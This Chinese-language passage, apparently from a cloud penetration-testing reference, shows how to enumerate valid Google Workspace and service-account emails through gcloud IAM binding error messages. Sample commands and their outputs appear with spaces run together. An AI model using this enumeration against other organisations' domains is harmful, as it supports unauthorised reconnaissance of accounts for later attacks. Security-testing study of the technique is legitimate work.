通过尝试为它们分配权限并检查错误消息,可以枚举 Workspace 域和 SA 电子邮件的有效电子邮件。为此,你只需要有权限为一个项目分配权限(该项目可以是你拥有的)。
请注意,为了检查它们,即使它们存在,也不要授予它们权限,你可以在**user** 是 serviceAccount 时使用类型 serviceAccount,在 SA 是 user 时使用类型 user:
# Try to assign permissions to user 'unvalid-email-34r434f@hacktricks.xyz'# but indicating it's a service accountgcloudprojectsadd-iam-policy-binding<project-controlled-by-you> \--member='serviceAccount:unvalid-email-34r434f@hacktricks.xyz' \--role='roles/viewer'## Response:ERROR: (gcloud.projects.add-iam-policy-binding) INVALID_ARGUMENT: User unvalid-email-34r434f@hacktricks.xyz does not exist.
# Now try with a valid emailgcloudprojectsadd-iam-policy-binding<project-controlled-by-you> \--member='serviceAccount:support@hacktricks.xyz' \--role='roles/viewer'# Response:ERROR: (gcloud.projects.add-iam-policy-binding) INVALID_ARGUMENT: Principal support@hacktricks.xyz is of type "user". The principal should appear as "user:support@hacktricks.xyz". See https://cloud.google.com/iam/help/members/types for additional documentation.
# Non existentgcloudprojectsadd-iam-policy-binding<project-controlled-by-you> \--member='serviceAccount:<invalid-sa-name>@<proj-uniq-name>.iam.gserviceaccount.com' \--role='roles/viewer'# ResponseERROR: (gcloud.projects.add-iam-policy-binding) INVALID_ARGUMENT: User <invalid-sa-name>@<proj-uniq-name>.iam.gserviceaccount.com does not exist.
# Existentgcloudprojectsadd-iam-policy-binding<project-controlled-by-you> \--member='serviceAccount:<sa-name>@<proj-uniq-name>.iam.gserviceaccount.com' \--role='roles/viewer'# ResponseERROR: (gcloud.projects.add-iam-policy-binding) INVALID_ARGUMENT: Principal testing@digital-bonfire-410512.iam.gserviceaccount.com is of type "serviceAccount". The principal should appear as "serviceAccount:testing@digital-bonfire-410512.iam.gserviceaccount.com". See https://cloud.google.com/iam/help/members/types for additional documentation.